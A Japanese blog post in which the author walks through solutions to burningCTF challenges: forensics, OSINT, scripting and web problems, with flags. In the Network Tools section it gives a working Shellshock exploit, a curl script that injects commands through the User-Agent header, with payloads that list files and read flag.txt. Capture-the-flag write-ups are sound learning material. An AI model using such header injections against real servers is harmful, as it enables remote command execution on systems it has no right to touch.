burningCTFのWrite-Upを書いてみる。
解いたのは去年で今年は1問も解いてないから覚えていない問題も多少はある。去年の段階で70位くらいだったのに最終的に78位だったからちょっとダメだった気がする。
芸術
「 ワットイズディス?」と「毎日使う」が解けたけど割愛。
解読
image-level-5
ファイル名がMD5なのでMD5のDBで検索すると数字であると分かる。ファイルを数字で並べ替えるとフラグになる。
Ninjya Crypto
「忍者 暗号」でぐぐったら神代文字というのがHitした。ヤマトイエバ?の答えがフラグになる。
電網
ftp is not secure
wiresharkでパケット眺めてるとftpでのファイルのやり取りが見える。これを抽出してtarを解凍して、その中のzipを展開。テキストファイルの中身をbase64をデコードする。
ベーシック
Basic認証のユーザ名とパスワードにURLと資格情報が書かれてるからアクセスする。
諜報
KDL
web archiveで調べたら出てくる。
Mr. nipps
twitterのツイートに付与されている位置情報を取得する
コード書こうと思ったら他の人の記事のサンプルが動いたのでそれを拝借した。
akiko-chan
ググれば出てくる。ポイントはGoogleの画像検索で画像ファイルをアップロードして検索すること。
記述
search_duplicate_character_string
Cでコード書いたら答え出た。
#include <stdio.h> #include <string.h> int main(){ char input[1000000]; scanf("%s",input); int length = strlen(input); printf("text length is %dn",length); int longest=0,longest_x,longest_y; int i,j,k; for(i=0;i<=length;i++){ for(j=i+1;j<=length;j++){ for(k=0;k<=length-j;k++){ if( input[i+k] != input[j+k] ){ if(longest<=k && 5<=k){ printf("[%d][%d]=%dn",i,j,k); longest=k; longest_x=i; longest_y=j; for(int m=0;m<longest;m++){ printf("%c",input[longest_x+m]); } printf("n"); } break; } } } if(i%10000==0) printf("search in [%d]n",i); } printf("Longest text is n------------------n"); for(int m=0;m<longest;m++){ printf("%c",input[longest_x+m]); } printf("n------------------nFinished!!!!!!n"); }
FLAG: f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><
Count Number Of Flag’s SubString!
curlで探索するシェルスクリプト書いて答え出した。ログファイルLOG.txtを事前に作る必要あるし汚い。変数つかって書き直したい。
#!/bin/bash STR="" while : ; do for a in a b c d e f g h i j k l m n o p q r s t u v w x y z _ { } ; do curl -s "http://210.146.64.36:30840/count_number_of_flag_substring/?str=flag%3D{$STR$a" | sed -n '10p' | cut -c 30- | sed -e 's/" are//g' | sed -e 's/</p>//g' > LOG.txt if test "1" = $(cat LOG.txt | awk {'print $2'}); then cat LOG.txt STR=$(cat LOG.txt | awk {'print $1'}) break fi sleep 0.2 done done
FLAG: afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxri
解凍?
シェルスクリプト書いて答えだした。コード汚すぎる。
#!/bin/bash while : do #FILE-NAME FILENAME=`find ./ -type f -printf "%TY-%Tm-%Td %TH:%TM:%TS %pn" | sort -k6,7|cut -f3 -d " "|head -n1|cut -c3-` echo FILENAME is $FILENAME # FILE-TYPE FILETYPE=`file $FILENAME | awk {'print $2'}` echo FILETYPE is $FILETYPE # FILE-RENAME if test $FILENAME == "flag" -a $FILETYPE == "gzip" then mv flag flag.gz fi if test $FILENAME == "flag" -a $FILETYPE == "Zip" then mv flag flag.zip fi if test $FILENAME == "flag" -a $FILETYPE == "POSIX" then mv flag flag.tar fi if test $FILENAME == "flag" -a $FILETYPE == "bzip2" then mv flag flag.bz fi # FILE-TEXT FILEEXT=.${FILENAME##*.} echo FILEEXT is $FILEEXT if test "0" != $(ls | wc -l) then mkdir test cd test else cd .. fi # echo NOW PATH is $(pwd) case "$FILETYPE" in "Zip" ) echo "ZIP FILE ../"$FILENAME unzip -o ../$FILENAME ;; "POSIX" ) echo "POSIX(TAR) FILE ../"$FILENAME tar -xvf ../$FILENAME ;; "gzip" ) echo "GZIP FILE ../"$FILENAME gunzip -S .${FILENAME##*.} ../$FILENAME cd .. ;; "bzip2" ) echo "BZIP2 FILE ../"$FILENAME bunzip2 .${FILENAME##*.} ../$FILENAME cd .. ;; esac sleep 0.5 done
超文書転送術
GIFアニメ生成サイト
GIFファイルが連番で生成されていることに気が付いた。試しに最初の画像を見ようとしてみたら答えが出た気がした。
Network Tools
Bashのバージョン的にシェルショックかなと思った。httpリクエストのUserAgentを書き換えてパケット投げると任意のOSコマンドが実行できる。使えるコマンドがcd, python, echo, pwdくらいしか無い。echoでファイル一覧とファイル名を表示すれば答えが出る。ちなみにUA変えてパケット投げるの面倒だったからシェルスクリプト作った。
#!/bin/bash curl -s -F "cmd=arp" -F "option=" -A "() { :;}; $1" http://210.146.64.37:60888/exec |tail -n +18 |sed -e 's/<[^<]*>;//g' |sed -e '/^ *$/d'
ファイル名一覧のUA () { :;}; echo *
フラグのUA () { :;}; echo $(<flag.txt)
箱庭XSSと箱庭XSS2
まずnode.jsで固めてあるのを解凍する。解凍したhtmlをFirefoxで開いてfirebugで中身を見ていると答えが出てくる。
(2016-02-28:追記)大雑把すぎるのでQ1を解くまでの流れを細かく書いてみる。Q2はQ1と同じように解けば答えが出るから割愛。
ファイル構成を見たところelectronで作ってあることが分かる。内部はHTMLだろうと思ってそれっぽHTMLファイルを探してみたものの見つからない。いろいろ探しているとq1-app-win32-ia32/resources/の中に拡張子asarをもつファイルを見つけた。
検索してみたところasarファイルはnodejsで圧縮したファイルであるとわかった。リファレンスにしたがって以下のコマンドを実行する。事前にnode.jsの動く環境を構築する必要がある。
asar e app.asar apps
うまく実行できるとappというディレクトリが作成される。appディレクトリの中にあるindex.htmlが箱庭の中身なのでこれをFirefoxで開いてみる。Firebugで情報やJavaScriptを見ているとDOMのmessageにFLAGが表示されている。
FLAG: 2ztJcvm2h52WGvZxF98bcpWv
FLAG: n2SCCerG4J9kDkHqvHJNhwr4
兵法
将棋はわかるから解けた。2問目だけ盤の数字がずれているから注意。
まとめ
全体として解けた問題がWebに偏ってる。バイナリもやらなきゃなぁと思いつつやれてない。
コメントを残す